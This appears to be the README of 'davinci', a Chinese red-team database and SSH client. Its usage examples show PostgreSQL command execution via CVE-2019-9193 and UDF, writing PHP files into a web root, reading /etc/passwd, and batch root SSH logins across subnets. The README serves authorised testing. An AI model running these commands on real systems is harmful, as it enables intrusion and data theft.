本程序应仅用于授权的安全测试与研究目的。 由于传播、利用本工具而造成的任何直接或者间接的后果及损失，均由使用者负责，工具作者不为此承担任何责任。
davinci是一个多组件客户端命令行工具，利用golang的特性，可轻易编译出在各类操作系统和架构下的可执行文件，在各种环境下使用。
目前内置了下列组件的常见利用方式，包括信息收集、非交互式执行、交互式执行等：
- MySQL
- PostgreSQL
- Clickhouse
- GaussDB
- MongoDB
- Redis
- SSH
- Elasticsearch
go env -w GOOS=$os
go env -w GOARCH=$arch
go build -ldflags "-w -s" -o bin/$name davinci.go
对于常见的平台已提供powershell脚本执行编译使用：
.\win_amd64.ps1
.\linux_amd64.ps1
你也可以直接使用release中编译好的可执行文件。
# ./davinci --help
multi-component client,include database, middleware, queue, etc.
used for red team simulation scenarios
Usage:
davinci [command]
Available Commands:
batch batch execute
clickhouse clickhouse client
completion Generate the autocompletion script for the specified shell
es elasticsearch client
gaussdb gaussdb client
help Help about any command
mongo mongo client
mysql mysql client
pgsql pgsql client
redis redis client
ssh ssh client
Flags:
-h, --help help for davinci
--no-log not log output to file
--silent close info level output
Use "davinci [command] --help" for more information about a command.每个组件均作为一个子命令来使用，几乎每个组件都至少会提供三种使用方式：
- exec : 非交互式执行单条命令
- shell : 进入交互式命令执行
- auto_gather: 自动化信息收集，实际上就是批量执行一组命令
注意：上述的"命令"是指组件自身的命令，例如对于MySQL来说是SQL，而对于SSH来说则是系统命令。
针对不同组件会提供特定的使用方式，包括但不限于：系统命令执行、文件读写等
Example:
davinci pgsql exec -H 192.168.1.2 -P 5432 -u postgres -p 123456 -c "select user;"
davinci pgsql shell -H 192.168.1.2 -P 5432 -u postgres -p 123456
davinci pgsql auto_gather -H 192.168.1.2 -P 5432 -u postgres -p 123456
davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --cve-2019-9193
davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --cve-2019-9193 --no-interactive -c "whoami"
davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --udf
davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --udf --no-interactive -c "whoami"
davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --ssl_passpharse -c "whoami"
davinci pgsql writefile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --lo_export -s ./eval.php -t /var/www/html/1.php
davinci pgsql writefile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --copy_to -C "<?php phpinfo(); ?>" -t /var/www/html/1.php
davinci pgsql readfile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --lo_import -t /etc/passwd
davinci pgsql readfile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --pg_read -t /etc/passwd
davinci pgsql readfile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --copy_from -t /etc/passwd --hex
davinci pgsql mkdir -H 192.168.1.2 -P 5432 -u postgres -p 123456 -t /etc/pg_dir
davinci pgsql lsdir -H 192.168.1.2 -P 5432 -u postgres -p 123456 -t /各个组件的详细使用方式以及支持的功能，请参考：wiki
此外，工具还提供了一个批量执行的功能
# ./davinci batch --help
batch execute:
- export: export execute config template
- exec : batch execute
Usage:
davinci batch [export|exec] [flags]
Flags:
-b, --b64config string the config base64 encode
-f, --file string config file (default ".davinci_batch.json")
-h, --help help for batch
Global Flags:
--no-log not log output to file
--silent close info level output你可以通过./davinci batch export先导出一个模板，然后基于模板来制定批量执行的计划：
[
{
"cmd_type": "ssh",
"hosts": [
"127.0.0.1",
"192.168.83.1/24",
"192.168.83.1-20"
],
"port": 22,
"user": "root",
"passwd": "123456",
"cmds": [
"ls -al /",
"ifconfig"
]
},
{
"cmd_type": "redis",
"hosts": [
"127.0.0.1"
],
"port": 6379,
"cmds": [
"dbsize"
]
}
] 目前执行批量执行的组件包括：ssh、mysql、pgsql、gaussdb、clickhouse、redis、mongo
./davinci batch exec -f .davinci_batch-1.json默认情况下，会将所有输出记录到日志文件: davinci_{y}-{m}-{d}.log（除了交互式的ssh）
要关闭日志记录只需要使用--no-log选项即可。
此外，默认输出级别是info级别，会包含执行过程的详细信息，可以使用--silent选项来关闭详细输出，仅输出Warn级别以上的信息。
- oracle
- sqlserver
- etcd